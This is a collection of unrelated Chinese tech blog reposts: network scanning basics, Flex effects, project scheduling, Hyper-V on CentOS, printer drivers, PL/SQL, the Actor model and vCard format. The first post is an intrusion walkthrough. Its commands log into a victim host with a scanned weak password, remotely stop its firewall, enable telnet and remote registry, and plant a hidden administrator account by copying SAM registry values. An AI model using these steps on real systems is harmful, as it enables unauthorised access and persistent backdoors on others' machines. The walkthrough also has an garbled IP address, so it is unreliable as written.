第2章-扫描技术 一、扫描技术概述 描描指的是利用工具软件来探测目标网络或主机的过程,其目的只有一个:为即将采取的攻击或防御行动收集情报 (1)、扫描原理 1、ping检测 Øping命令是最常用的网络连接诊断工具,当然也可作为最基础的扫描工具 Ø利生ICMP协议的响应机制,可以对目标IP地址、主机在线情况、操作系统类型等信息作出初步判断 【ping来判断目标主机的操作系统情况】 a)TTL值趋近于128:windows XP/windows server 2000/windows server 2003 b)TTL值趋近于64 :windows 7/windows 2008 c)TTL值趋近于255:交换机、路由器等设备 如下图所示 2、端口扫描 Ø主要针对特定的网络服务进行探测,尝试连接目标主机的特定端口,根据反馈结果来判断是否开启指定服务 Ø分类:TCP端口扫描、UDP端口扫描 【TCP端口扫描】 会向对方发送一个请求或终止访问的数据包,若对方给出正常回应,则表示目标服务开启,否则表示端口关闭或可能被防火墙拦截 【UDP端口扫描】 通常会发送一个空数据包,若反馈错误消息,则表示目标服务开启,否则会告知端口不可达 【命令格式】 telnet ip地址端口号如“telnet 192.168.4.17 21” 如下图所示 3、OS探测 Ø也就是操作系统(Operating System)探测,指的是获取目标主机所使用的操作系统类型,版本等相关信息的过程 Ø探测试式:随便访问一个不存在的网页,通常能够在出错页面上得到web服务程序的版本信息 如下图所示 4、弱口令探测 Ø弱口令探测的方式类似于暴力破解,只不过并不尝试所有可能的密码,而只是尝试安全性极差的密码,如“abc123、123456”等 5、漏洞评估 Ø漏洞评估(或称弱点评估),一般用在正面的系统安全加固工作中,主要针对服务器系统各种已知的漏洞进行检测,同时对各种公认的或潜在的见险进行摸拟,从而全面判断目标主机的安全性 Ø漏洞评估通常由一系列独立的扫描插件来执行,而并不是单一的扫描任务 (2)、常见的扫描工具 1、SuperScan 一款免费的TCP/UDP端口扫描工具,网址“www.foundstone.com” 2、Fluxay(流光) 由国内的“小榕软件实验室”开发的一款强大的集成扫描软件,网址“www.netxeyes.com” 3、X-Scan 由国内的“安全焦点”出品的漏洞检洞工具,网址“www.xfocus.net” 4、MBSA MBSA全称“Microsoft BaselineSecurity Analyzer”微软基准安全分析 器,由微软公司开发的一款免费的操作系统安全评估工具,网址“www.microsoft.com” 5、Wikto 在Windows平台运行的Web弱点扫描工具,采用C#语言编写,网址 “www.sensepost.com” 二、创建隐藏用户的方法 本案例是用在被攻击者主机上创建,也可在自己的主机上创建 1、用扫描工具获取到对方的账户和密码 2、用获取到的账户和密码先进入系统(假如对方IP为192.168.10.10,扫描到的密码为123456) net use \\1962.168.10.10 /user:administrator 123456 3、远程关闭对方的防火墙 sc \\192.168.10.10 stop sharedaccess 4、远程开启对方的远程服务 sc \\192.168.10.10 start tlntsvr start= auto sc \\192.168.10.10 start tlntsvr 5、远程开启对方的注册表服务 sc \\192.168.10.10 config remoteregistry start= auto sc \\192.168.10.10 start remoteregistry 6、远程登录系统 telnet 192.168.10.10 7、创建隐藏用户(假如取名为benet) net user benet$ 123456 /add 8、打开本地注册表(regedit) 选择“文件”→→选择"连接到网络注册表"→→输入“对方IP:192.168.10.10”→→点击进入 9、赋予完全控制权限并编辑注册表 HKEY_LOCAL_MACHINE→SAM→SAM→Domain→Account users:权限(F)、功能(V)在这个选项里 Names:账户在这个选项里 把管理员权限(ox1-F4)“0000001F4”复制给benet用户(0x3eb)“0000003EB” 10、在导出benet用户的“Names”和“Users” 说白了就是做个备份,导入位置随便哪都行 11、远程删除benet用户 net user benet$ /del 12、最后,在导入刚才导出的benet用户 13、隐藏用户创建成功 《注意》:如果是在本地创建的话,前面6步就可以省略,直接从第7步开始 本文转自甘兵 51CTO博客,原文链接:http://blog.51cto.com/ganbing/1258688,如需转载请自行联系原作者
在Flex里面不像在Flash里面随意制作动画了,Flex更趋向于应用程序,而不是动画制作了,所以没有了时间轴的概念。在Flex中使用动画效果,可以用Flex自带的Effect,或者自已定制Effect,因为很多人都想借Flash里面的一样操作Flex,比如在Flash里面做一个动态按钮很容易,当鼠标移动到上面时,会有很多发光的点跑出来(荧火虫效果),这种效果在Flash十分容易实现,但在Flex里面要实现这种效果就不是那么简单的了,下面说说在Flex里的的动务效果的使用与自定义制作。首先介绍一下Flex里面的自带的效果有以下几种: Blur 模糊效果 Move 移动效果 Fade 淡入淡出效果 Glow 发光效果 Resize 调整大小效果 Rotate 旋转效果 Zoom 缩放效果 WipeLeft 用遮罩实现画面收放效果,下同,分别为不同方向 WipeRight WipeUp WipeDown不同的效果所需要设置的属性也不一样,比如Blur效果需要设置它的X与Y轴的模糊像素<mx:Blur id="blur" blurXFrom="0" blurXTo="10" />而Move效果需要设置移动的位置信息<mx:Move id="moveEffect" xFrom="-100" />其它设置可以参考Flex语言参考下面说说如何使用这些效果。要运行这些效果有两种方法:一种是调用该效果的play()方法,另外一种是使用触发器来触发效果。(1)使用play()方法:以下代码: 1 <?xml version="1.0" encoding="utf-8"?> 2 <mx:Application xmlns:mx="http://www.adobe.com/2006/mxml" layout="absolute"> 3 <mx:Script> 4 <![CDATA[ 5 private function onClick(event:Event):void { 6 be.target = event.currentTarget; 7 be.play( ); 8 } 9 ]]>10 </mx:Script>11 12 <mx:Blur id="be" blurXTo="50" blurYTo="50" duration="1000" />13 14 <mx:Panel id="p" width="200" height="180" click="onClick(event)" />15 </mx:Application> 在代码中看到,要使用效果,先定好一个效果,如上面的<mx:Blur ...>该标签就是模糊效果的MXML标签,定好效果后在Panel的点击事件里再对该效果进行一些设置,如be.target = event.currentTarget 设置该效果将要应用到的目标组件(Component),之后再调用play()方法后,该效果就会应用在Panel上面播放!(2)使用触发器播放效果:使用触发器播放效果的话,可以不用写ActionScript代码,直接在组件的效果触发器上指明使用哪个效果就可以了,比较简单明了,但就不能进行更多的属性定制,而用AS控制播放的话,可以对效果进行很多的设置再相应根据情况播放,先看看触发器播放的代码: 1 <?xml version="1.0" encoding="utf-8"?>2 <mx:Application xmlns:mx="http://www.adobe.com/2006/mxml" layout="absolute">3 4 <mx:Blur id="be" blurXTo="50" blurYTo="50" duration="2000" />5 6 <mx:Panel id="p" width="200" height="180" creationCompleteEffect="{be}" />7 </mx:Application> 看以上代码,先写好了Blur的效果并设置好属性后,duration="2000"这个是播放的时间以毫秒为单位。在Panel标签里有这样一句:creationCompleteEffect="{be}" 这个就是触发器,是该Panel组件的效果触发器,当Panel组件加载完成时,会由系统自动调用该效果触发器,触发器里面指了触发 be 这个Blur效果在Flex里面还有很多触发器如: addedEffect 被添加进容器时触发效果 removedEffect 被从容器中移除时触发效果 creationCompleteEffect 被创建成功时触发效果 focusInEffect 获得焦点时触发 focusOutEffect 失去焦点时触发 hideEffect 被隐藏时(visible=false)触发 showEffect 被显示时(visible=true)触发 rollOverEffect 鼠标经过时触发 rollOutEffect 鼠标离开时触发 mouseDownEffect 鼠标按下时触发 mouseUpEffect 鼠标松开时触发 moveEffect 被移动时触发 resizeEffect 被重整大小时触发注意:这些都是效果触发器,不要与事件触发器混乱了。事件触发器是rollOver,事件触发器与效果触发器差不多,事件触发器是当用户执行相就操作时触发事件,将会调用自定的事件触发处理函数,而效果触发器是执行相应操作时被触发并由系统自动调用所定的效果的play()方法。现在说说效果的一些其它属性:每个效果都有reverse( );方法,该方法是反向播放,原本由小到大的变化,而调用reverse( );后再运行play()的话,效果将会从大到小进行播放。但要注意的一点是,reverse( );不会自动播放,即是单单调用reverse( );的话,效果并不会播放,他只会记录该效果为倒转,而要再调用play()后倒转效果才会开始播放。而调用pause( )与resume( )就是暂停与继续播放效果startDelay这个属性是设置效果的播放延时,以毫秒为单位,即要等待多少毫秒后效果才开始播放,如:<mx:Blur id="be" blurXTo="50" startDelay="3000" />该模糊效果将会在调用play()之后3秒才开始播放repeatCount这个属性是设置效果的重复次数,默认为1,设置为0的话就是不停循环播放<mx:Blur id="be" blurXTo="50" startDelay="3000" repeatCount="5" />每个效果都有两个事件:effectStart 与 effectEnd你可以在该效果事件的处理函数里面对效果作相应的操作,如: 1 <?xml version="1.0" encoding="utf-8"?> 2 <mx:Application xmlns:mx="http://www.adobe.com/2006/mxml" layout="absolute"> 3 <mx:Script> 4 <![CDATA[ 5 import mx.events.EffectEvent; 6 public function onEffEnd(e:EffectEvent):void{ 7 e.effectInstance.reverse(); 8 e.effectInstance.play(); 9 }10 ]]>11 </mx:Script>12 <mx:Blur id="be" blurXTo="50" blurYTo="50" duration="2000" />13 14 <mx:Panel id="p" width="200" height="180" creationCompleteEffect="{be}" effectEnd="onEffEnd(event)" />15 </mx:Application> 当效果播放完时,系统将会自动触发effectEnd事件,在处理函数里面,将该效果Instance即现时播放的效果实例进行倒转并播放,当播放完,又会触发effectEnd事伯,这样一直循环! 现在再来说说效果的组合: 通常如果你觉得只应用一个效果很单调的话,可以进行效果组合应用,即多个效果同时播放或者顺序播放, 如,当加载页面时,你想Panel先模糊到一定程度,再将Panel移动到某个位置,再把Panel还原成原来的清淅度(即消退模糊)。这样分析一下,一共用了三个效果,一,先应用Blur(由清至模)效果,当Blur完成时,再应用Move效果,当Move完成时,再应用另外一个Blur(由模至清)效果。这样三个效果组合就是按顺序组合,先后运行。 再来看看代码: 1 <?xml version="1.0" encoding="utf-8"?> 2 <mx:Application xmlns:mx="http://www.adobe.com/2006/mxml" layout="absolute"> 3 4 <mx:Sequence id="sequenceEffect"> 5 <mx:Blur id="beOut" blurXTo="50" blurYTo="50" duration="500" /> 6 <mx:Move id="mv" xTo="200" yTo="150" duration="500" /> 7 <mx:Blur id="beIn" blurXFrom="50" blurYFrom="50" blurXTo="0" blurYTo="0" duration="500" /> 8 </mx:Sequence> 9 10 <mx:Panel id="p" width="200" height="180" mouseDownEffect="sequenceEffect" />11 </mx:Application> 看以上代码,<mx:Sequence id="sequenceEffect">标签就是顺序组合效果标签,当应用sequenceEffect效果的时候,它会按顺序播放该标签里面的三个子效果。另外的就是同时播放了, 1 <mx:Parallel id="parallelEffect">2 <mx:Blur id="beOut" blurXTo="50" blurYTo="50" duration="500" />3 <mx:Move id="mv" xTo="200" yTo="150" duration="500" />4 </mx:Parallel> 这个标签就是同时播放的效果标签,放在它里面的子效果都会同时播放,即一边模糊一边移动。这个都可以自由组合,<mx:Parallel>与<mx:Sequence>标签都可以自由组合,例如先按顺序先播放模糊,再同时播放移动与隐藏等。这里就不多说了。使用Flex自带的效果基本用法就这些,下篇文章将讨论自定义效果的制作,下篇将会详细说说这篇文章上面说到的 effectInstance 即实例与工厂的概念。 本文转自chainli 51CTO博客,原文链接:http://blog.51cto.com/lichen/193108,如需转载请自行联系原作者
项目时间管理是包括使项目按时完成所必需的管理过程。 项目时间管理过程概述: (一)、活动定义: 把工作包进一步分解为活动,以方便进度管理。 活动定义的方法有分解、模板、专家判断等。 主要输出是项目活动清单 。 (二)、活动排序:又称工作排序,主要是确定各个活动任务之间的依赖关系,并形态文档。 活动排序的工具和技术有前导图法、箭线图法、进度计划网络模板、确定依赖关系等。 主要输出是项目计划网络图。 (三)、活动的资源估算:对资源的类型(人力、设备、原料等)与资源的多少进行估算,并确定这些资源的使用时间以有效地进行项目活动。注意一定要和成本估算相结合。 工具与技术有专家判断法、替换方案确定、公开的估算数据、估算软件、自下而上的估算等。 主要输出是活动资源需求。 (四)、活动的历时估算:综合考虑各种因素对项目的整个工期进行合理的估算。工具和技术有专家判断、类比估算法、基于定额的历时、历时的三点估算、预留时间、最大活动历时等。 主要输出是定量的活动历时估算结果。 (五)、制定进度计划:决定项目活动的开始与完成日期。 工具和技术有关键路径法、进度压缩、仿真、资源平衡、关键链、项目管理软件、计划评审技术等。 主要输出是项目进度计划。 (六)、进度控制:按照项目进度计划对项目的实际进度情况进行分析,使项目能按时完成。 主要工具和技术有进度报告、进度变更控制系统、绩效测量、项目管理软件、偏差分析、计划比较甘特图等。 主要输出是进度进度(更新)、变更需求、建议的纠正措施、取得的教训。 一般项目活动的历时与项目规模成正比,与投入的资源数量成反比。 跟踪项目进度的方法 · 要求WBS尽量细化,明确各项活动间的关系,画出明确的网络图(双代号或单代号),制定出合理的项目计划。 · 对项目计划的执行进行实时监控,并要有一个执行标准来及时纠偏。 · 设定项目的里程碑,对每个里程碑进行评审,以确定是否进行下一阶段。 · 要有一个好的变更控制系统来控制变更流程,做好变更管理。 · 要使用项目管理工具软件,提高项目管理的工作效率。 进度控制 (一)、进度控制的内容。 · 确定当前进度的状况。 · 对造成进度变化的因素施加影响,以保证这种变化朝着有利的方向发展。 · 确定进度是否已发生变化。 · 在变化实际发生和正在发生时,对这种变化实施管理。 (二)、进度控制的依据。 项目计划计划、绩效报告、已批准的变更请求、进度管理计划、所应用的工具和技术报告、进度变更控制系统、绩效测量、项目管理软件、偏差分析及计划比较甘特图。 (三)、进度控制的步骤。 · 分析进度,找出那些地方需要采取纠正措施。 · 确定采取哪种具体纠正措施。 · 修改计划,将纠正措施列入计划。 · 重新计算进度,估计计划采取的纠正措施的效果。 (四)、当实际进度滞后于计划进度时,缩短活动工期的方法。 · 投入更多的资源以加速活动进程。 · 指派经验更丰富的人去完成或帮助完成项目工作。 · 减少活动范围或降低活动要求。 · 通过改进方法或技术提高生产效率。 · 外包非关键工作或缩小项目范围(但要注意应征得客户的同意)。 · 快速跟进。 · 提高资源利用率,加强沟通与监控。 项目工期计算公式 (一)、基本概念。 · 历时:也称持续时间,指一项工作(活动)从开始到完成的时间。 · 关键路径:指从第一个活动开始至最后不念旧恶活动结束的所有路径中总历时最长的那条路径。 · 时间:也称为浮动时间、松弛时间、是活动可以延迟的时间。包括:自由时差和总时差。 · 自由时差:自由浮动时间(Free Float,FF),指一项目活动在不耽误后续活动最早开始日期的条件下,可以延迟的时间长度。 · 总时差:总活动时间(Total Float,TF),在不影响总工期的前提下,本活动可以利用的机动时间。 · 最早开始时间:指在其紧前工作全部完成后,本工作有可能开始的最早时刻。 · 最早结束时间:指在其所有紧前工作全部完成后,本工作有可能完成的最早时刻。 · 最迟开始时间:在不影响整个任务按期完成的前提下,本工作必须开始的最迟时刻。 · 最迟结束时间:在不影响整个任务近期完成的前提下,本工作必须完成的最迟时刻。 (二)、计算公式。 · 通过正推法计算出最早开始时间、最早结束时间。 · 正推法:从网络计划的起点开始,顺着箭线方向依次进行。 · 通过倒推法计算出最迟结束时间、最迟开始时间。 · 倒推法:从网络计划的终点节点开始,逆着箭线方向依次进行。 · 最早开始时间=所有紧前工作最早结束时间的最大值。一般起始点为0。 · 最早结束时间=最早开始时间+历时。 · 最迟结束时间=所有紧后工作中最迟开始时间的最小值。 · 最迟开始时间=最迟结束时间-历时。 · 自由时差=所有紧后工作中最早开始时间的最小值-最早结束时间。 · 总时间=最迟开始时间-最早开始时间=最迟结束时间-最早结束时间。 (三)、甘特图、单代号与双代号网络图图例。 图7.1甘特图 图7.2 单代号网络图 图7.3 双代号网络图 项目时间管理重点知识点总结 (一)、任务的总时差为0,其自由时差必为0。而自由时差为0,总时差不一定为0。 (二)、工期分为:计算工期、要求工期和计划工期。 (三)、网络图的绘制规则: · 网络图是有方向的,不允许出现回路。 · 直接连接两个相邻节点之间的活动只能有一个。 · 一个作业不能在两处出现。 · 箭线首尾必有节点,不能从箭线中间引出另一条箭线。 · 网络图必须只有一个网络始点和一个终点。 · 各项活动之间的衔接必须按逻辑关系进行。 · 工作或事件的字母或数据编号,在同一个网络图中不允许重复使用,每条箭线箭头节点的编号(J)必须大于其箭尾节点的编号(I)。 · 尽量避免箭线交叉(采用过桥法或指向处理法)。 · 标注出各项工作的历时。 (四)、网络计划的优化按计划任务的需要和条件选定,有工期优化、成本优化和资源优化。 (五)、影响进度的主要因素有以下几个方面: · 人的因素(项目经理、项目团队和项目干系人)。 · 材料、设备的因素。 · 方法、工艺的因素。 · 资金因素。 · 环境因素。 (六)、在发生进度拖延的项目中,一般会存在以下几种原因: · 错误估计了项目实现的特点及实现的条件。 · 盲目确定工期目标。 · 工期计划方面的不足。 · 项目参加者的工作失误。 · 不可预见事件的发生。 (七)、加快进度的方法: · 赶工(如加班,充分利用周六、周日和晚上等非工作时间,但要注意调动项目成员的积极性,增加绩效考核,也要和用户进行沟通,以确保用户的积极配合)。 · 快速跟进。 · 增加优质资源。 · 提高资源利用率,加强沟通和监控。 · 外包和缩小项目范围。 项目时间管理各过程详述 项目范围管理 项目范围管理过程 输入 工具与技术 输出 活动定义 企业环境因素、组织过程资产、项目范围说明书、工作分解结构、项目管理计划 分解、模板、滚动式规划、专家判断、规划组成部分 项目活动清单、活动清单属性、里程碑清单、发起的变更 活动排序 活动清单、活动清单属性、项目范围说明书、里程碑清单、批准的变更请求 前导图法、箭线图法、进度计划网络模板、确定依赖关系、提前、滞后 项目计划网络图、活动清单(更新)、活动属性(更新)、请求的变更 活动资源估算 企业环境因素、组织过程资产、活动清单、资源可用性、活动属性 专家判断法、替换方案确定、公开的估算数据、项目管理软件、自下而上的估算 活动资源需求、更新的活动属性、资源分解结构、更新的资源日历、变更请求 活动历时估算 企业环境因素、组织过程资产、活动清单、资源可用性、活动清单属性、活动资源需求、资源日历、项目管理软件 专家判断、类比估算法、参数式估算、历时的三点估算、预留时间 活动历时估算结果、活动清单属性(更新) 制定进度计划 组织过程资产、项目范围说明书、活动清单、活动属性、项目进度网络图、活动资源需求、资源日历、活动持续时间估算、项目管理计划 进度网络分析、关键路径法、进度压缩、假设情景分析、资源平衡、关键链、项目管理软件、所采用的日历、超前和滞后、进度模型 项目进度计划、进度模型数据、进度基准、资源需求(更新)、活动属性(更新)、项目日历(更新)、请求的变更、项目管理计划更新 进度控制 项目进度计划、进度基准、绩效报告、已批准的变更请求 进度报告、进度变更控制系统、绩效测量、项目管理软件、偏差分析、计划比较甘特图 进度模型数据(更新)、进度基准(更新)、绩效衡量、变更需求、建设的纠正措施、组织过程资产、活动清单(更新)、活动属性(更新)、项目管理计划(更新) 本文转自yonghu86 51CTO博客,原文链接:http://blog.51cto.com/yonghu/1321363,如需转载请自行联系原作者
CentOS升级Hyper-v集成服务 提升虚拟机性能最简单的一种方式就是使用最新版本的微软Hyper-V集成服务。集成服务是功能与驱动的集合,允许客户操作系统使用虚拟硬件。对于虚拟化管理员来说,了解什么是集成服务,集成服务能做什么以及什么时候应该使用集成服务是非常重要的!今天我们就来看一下如何给现有的Linux虚拟机升级Hyper-v集成服务,具体方法如下: 连接到虚拟机Test-Linux: 插入集成服务安装光盘,使用如下命令挂载: Mount /dev/cdrom /media/ 创建集成服务存放目录: Mkdir linuxIC_V4.1 拷贝集成服务安装文件: Cp –R /media/* ~/linuxIC_V4.1/ 切换到集成服务存放目录: Cd ~/linuxIC_V4.1 运行如下命令更新 ./upgrade.sh 本文转自wuyvzhang 51CTO博客,原文链接:http://blog.51cto.com/wuyvzhang/1888662,如需转载请自行联系原作者
将系统升级为Windows 7 x64之后,连接办公室网络上的远程打印出现了麻烦。 其实驱动很好找,惠普官方找到HP LaserJet 1010/1012/1015的Vista 64位驱动即可。给个链接,在这里:http://h20000.www2.hp.com/bizsupport/TechSupport/SoftwareDescription.jsp?lang=en&cc=us&prodTypeId=18972&prodSeriesId=377934&prodNameId=306510&swEnvOID=2100&swLang=8&mode=2&taskId=135&swItem=lj-67501-1 按常规的方法,添加网络打印机,并在驱动解压的目录找到hpc1015w.inf,确定之后得到一个错误报告:找不到合适的驱动 不过从网上搜索到的结果来看,又确实能安装成功的。猜测原因,应该是安装网络打印机的问题。所以,想了个办法,把网络打印机当本地打印机来安装——那就是,添加一个网络打印端口。操作如下: 从控制面板打开“设备和打印机”,然后“添加打印机”,选择“添加本地打印机”。下一步选择端口的时候,选择创建“Local Port”类型的新端口,并在弹出的对话框中填写端口名为共享打印机的位置,如“\\192.168.1.10\laserjet10”,确定。 之后跟着向导,完成安装即可。 补充 虽然采用上述方法成功的安装了打印机驱动,但有时候打印速度却真是慢得不行。后来在网上查了别人的解决方案并实践之后发现,可以安装Windows官方提供的HP LaserJet 3055 PCL5驱动来代替,也一样的好使。 如果在打印时打印出“Unsupported Personality: PCL”字样,应该是打印机内部出错,没有去分析原因,重启一次打印机就好了。 再补充 HP LaserJet 3055 PCL5有时候打印会出错。HP LaserJet 1012之所以可以用它的驱动是因为它是PCL5的,所以,更好的办法是用HP官方通过的PCL5驱动(HP Universal Printing PCL 5)来代替。页面打开后请根据操作系统选择HP Universal Print Driver for Windows - PCL 5或HP Universal Print Driver for Windows 64-bit PCL 5。 本文转自边城__ 51CTO博客,原文链接:http://blog.51cto.com/jamesfancy/673094,如需转载请自行联系原作者
SQL语言只是访问、操作数据库的语言,并不是一种具有流程控制的程序设计语言,而只有程序设计语言才能用于应用软件的开发。PL /SQL是一种高级数据库程序设计语言,该语言专门用于在各种环境下对ORACLE数据库进行访问。由于该语言集成于数据库服务器中,所以PL/SQL代码可以对数据进行快速高效的处理。除此之外,可以在ORACLE数据库的某些客户端工具中,使用PL/SQL语言也是该语言的一个特点。本章的主要内容是讨论引入PL/SQL语言的必要性和该语言的主要特点,以及了解PL/SQL语言的重要性和数据库版本问题。还要介绍一些贯穿全书的更详细的高级概念,并在本章的最后就我们在本书案例中使用的数据库表的若干约定做一说明。 1.1 SQL与PL/SQL 1.1.1 什么是PL/SQL? PL/SQL是 Procedure Language & Structured Query Language 的缩写。ORACLE的SQL是支持ANSI(American national Standards Institute)和ISO92 (International Standards Organization)标准的产品。PL/SQL是对SQL语言存储过程语言的扩展。从ORACLE6以后,ORACLE的RDBMS附带了PL/SQL。它现在已经成为一种过程处理语言,简称PL/SQL。目前的PL/SQL包括两部分,一部分是数据库引擎部分;另一部分是可嵌入到许多产品(如C语言,JAVA语言等)工具中的独立引擎。可以将这两部分称为:数据库PL/SQL和工具PL/SQL。两者的编程非常相似。都具有编程结构、语法和逻辑机制。工具PL/SQL另外还增加了用于支持工具(如ORACLE Forms)的句法,如:在窗体上设置按钮等。本章主要介绍数据库PL/SQL内容。 1.2 PL/SQL的优点或特征 1.2.1 有利于客户/服务器环境应用的运行 对于客户/服务器环境来说,真正的瓶颈是网络上。无论网络多快,只要客户端与服务器进行大量的数据交换。应用运行的效率自然就回受到影响。如果使用PL/SQL进行编程,将这种具有大量数据处理的应用放在服务器端来执行。自然就省去了数据在网上的传输时间。 1.2.2 适合于客户环境 PL/SQL由于分为数据库PL/SQL部分和工具PL/SQL。对于客户端来说,PL/SQL可以嵌套到相应的工具中,客户端程序可以执行本地包含PL/SQL部分,也可以向服务发SQL命令或激活服务器端的PL/SQL程序运行。 1.2.3 过程化 PL/SQL是Oracle在标准SQL上的过程性扩展,不仅允许在PL/SQL程序内嵌入SQL语句,而且允许使用各种类型的条件分支语句和循环语句,可以多个应用程序之间共享其解决方案。 1.2.4 模块化 PL/SQL程序结构是一种描述性很强、界限分明的块结构、嵌套块结构,被分成单独的过程、函数、触发器,且可以把它们组合为程序包,提高程序的模块化能力。 1.2.5 运行错误的可处理性 使用PL/SQL提供的异常处理(EXCEPTION),开发人员可集中处理各种ORACLE错误和PL/SQL错误,或处理系统错误与自定义错误,以增强应用程序的健壮性。 1.2.6 提供大量内置程序包 ORACLE提供了大量的内置程序包。通过这些程序包能够实现DBS的一些低层操作、高级功能,不论对DBA还是应用开发人员都具有重要作用。 当然还有其它的一些优点如:更好的性能、可移植性和兼容性、可维护性、易用性与快速性等。 1.3 PL/SQL 可用的SQL语句 PL/SQL是ORACLE系统的核心语言,现在ORACLE的许多部件都是由PL/SQL写成。在PL/SQL中可以使用的SQL语句有: INSERT,UPDATE,DELETE,SELECT INTO,COMMIT,ROLLBACK,SAVEPOINT。 提示:在 PL/SQL中只能用 SQL语句中的 DML 部分,不能用 DDL 部分,如果要在PL/SQL中使用DDL(如CREATE table 等)的话,只能以动态的方式来使用。 l ORACLE 的 PL/SQL 组件在对 PL/SQL 程序进行解释时,同时对在其所使用的表名、列名及数据类型进行检查。 l PL/SQL 可以在SQL*PLUS 中使用。 l PL/SQL 可以在高级语言中使用。 l PL/SQL可以在ORACLE的开发工具中使用(如:SQL Developer或Procedure Builder等)。 l 其它开发工具也可以调用PL/SQL编写的过程和函数,如Power Builder 等都可以调用服务器端的PL/SQL过程。 1.4 运行PL/SQL程序 PL/SQL程序的运行是通过ORACLE中的一个引擎来进行的。这个引擎可能在ORACLE的服务器端,也可能在 ORACLE 应用开发的客户端。引擎执行PL/SQL中的过程性语句,然后将SQL语句发送给数据库服务器来执行。再将结果返回给执行端。 本文转自yonghu86 51CTO博客,原文链接:http://blog.51cto.com/yonghu/1321351,如需转载请自行联系原作者
Actor模式是一种并发模型,与另一种模型共享内存完全相反,Actor模型share nothing。所有的线程(或进程)通过消息传递的方式进行合作,这些线程(或进程)称为Actor。共享内存更适合单机多核的并发编程,而且共享带来的问题很多,编程也困难。随着多核时代和分布式系统的到来,共享模型已经不太适合并发编程,因此几十年前就已经出现的Actor模型又重新受到了人们的重视。MapReduce就是一种典型的Actor模式,而在语言级对Actor支持的编程语言Erlang又重新火了起来,Scala也提供了Actor,但是并不是在语言层面支持,Java也有第三方的Actor包,Go语言channel机制也是一种类Actor模型。 单线程编程 单核单机时代一般都是单线程编程,如果把程序比作一个工厂,那么只有一个工人,这个工人负责所有的事情,所有的原料,工具产品等都放到一个地方,因为只有一个人,因此使用一套工具就行,取原料也不用排队等。 多线程编程-共享内存 到了多核时代,有多个工人,这些工人共同使用一个仓库和车间,干什么都要排队。比如我要从一块钢料切出一块来用,我得等别人先用完。有个扳手,另一个人在用,我得等他用完。两个人都要用一个切割机从一块钢材切一块钢铁下来用,但是一个人拿到了钢材,一个人拿到了切割机,他们互相都不退让,结果谁都干不了活。 假如现在有一个任务,找100000以内的素数的个数,最多使用是个线程,如果用共享内存的方法,可以用下面的代码实现。可以看到,这些线程共享了currentNum和totalPrimeCount,对它们做操作时必须上锁。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 public class PrimeCount implements Runnable { private int currentNum = 2; //从2开始找 private int totalPrimeCount = 0; //当前已经找到的 //取一个数,不能重复,最大到100000 private int incrCurrentNum() { synchronized (this) { //如果不用锁,必然会出错。 if(currentNum > 100000) { return -1; } else { int result = currentNum; currentNum++; return result; } } } //把某个线程找到的素数个数加上 private void accPrimeCount(int count) { synchronized (this) { totalPrimeCount += count; } } @Override //一直取数并判断是否为素数,取不到了就把找到的个数累加 public void run() { int primeCount = 0; int num; while((num=incrCurrentNum()) != -1) { if(isPrime(num)) { primeCount++; } } accPrimeCount(primeCount); } private boolean isPrime(int num) { for(int i = 2; i < num; i++) { if(num % i == 0) { return false; } } return true; } @SuppressWarnings("static-access") public static void main(String[] args){ PrimeCount pc = new PrimeCount(); for(int i = 0; i < 10; i++) { new Thread(pc).start(); } try { Thread.currentThread().sleep(5000); } catch (InterruptedException e) { // TODO Auto-generated catch block e.printStackTrace(); } System.out.println(pc.getTotalPrimeCount()); } public int getTotalPrimeCount() { return totalPrimeCount; } } 多线程/分布式编程-Actor模型 到了分布式系统时代,工厂已经用流水线了,每个人都有明确分工,这就是Actor模式。每个线程都是一个Actor,这些Actor不共享任何内存,所有的数据都是通过消息传递的方式进行的。 如果用Actor模型实现统计素数个数,那么我们需要1个actor做原料的分发,就是提供要处理的整数,然后10个actor加工,每次从分发actor那里拿一个整数进行加工,最终把加工出来的半成品发给组装actor,组装actor把10个加工actor的结果汇总输出。 用scala实现,下面是工程的结构: 这是它们传递的消息,有一些指令,剩下的都是Int数据: 一个Actor的代码结构一般是下面这种结构,不停的接受消息并处理,没有消息就等待: 组装者代码: 分发者代码: 加工者代码: 主线程代码: 工程代码可以在附件中下载。这个代码实现的效果与前面用Java实现的是一样的,但是各个线程没有共享内存,也没有锁,这样开发起来容易,而且更适合分布式编程,因为分布式编程本身就不适合共享内存。Scala的Actor不能原生的支持分布式,但是Erlang可以,使用Erlang的Actor,分布式编程就和本地编程基本一样。但是Erlang的语法难懂,而且没有变量,几乎所有需要使用循环的地方都得用递归。 本文转自nxlhero 51CTO博客,原文链接:http://blog.51cto.com/nxlhero/1666250,如需转载请自行联系原作者
在写文章之前我想先说一句,希望尊重别人的劳动成果,转载或者抄袭后在末尾加上原文的链接是对作者的尊重,也是鼓励作者再接再厉发帖的动力。 现在的手机五花八门,手机系统也多种多样,联系人的导入导出成了问题。为了自己,也为了身边的朋友,花了2天时间用VB做了一个小工具,大致原理如下: 不管什么系统安卓,windows,塞班,还是国产(爱疯由于没那个资金投入没做测试)都是支持国际通用的vcf格式,所以只需要将你的联系人做成这种格式就可以在很多手机上通用,VCF本身支持很多参数,以下是一个标准的VCF文件内容 BEGIN:VCARD VERSION:3.0 N:Lastname;Firstname;;; FN:Fullname NICKNAME:Alias TEL;CELL;VOICE:PrimaryCell TEL;CELL;VOICE:SecondaryCell TEL;WORK;VOICE:WorkNum1 TEL;WORK;VOICE:WorkNum2 TEL;HOME;VOICE:HomeNum1 TEL;HOME;VOICE:HomeNum2 TEL;HOME;VOICE:RadioNum TEL;WORK;FAX:WorkFax TEL;HOME;FAX:HomeFax TEL;TYPE=ISDN:ISDNNum EMAIL;PREF;INTERNET:Email1 EMAIL;INTERNET:Email2 EMAIL;INTERNET:Email3 URL:Website ORG:Organization TITLE:Grade BDAY:Birthday ADR;TYPE=WORK;CHARSET=UTF-8:WorkStreet3;WorkStreet2;WorkStreet1;WorkCity;WorkProvince;WorkPostalcode;WorkState ADR;TYPE=HOME;CHARSET=UTF-8:HomeStreet3;HomeStreet2;HomeStreet1;HomeCity;HomeProvince;HomePostalcode;HomeState END:VCARD 语法很简单,根据英文简写就能猜到是什么东东。 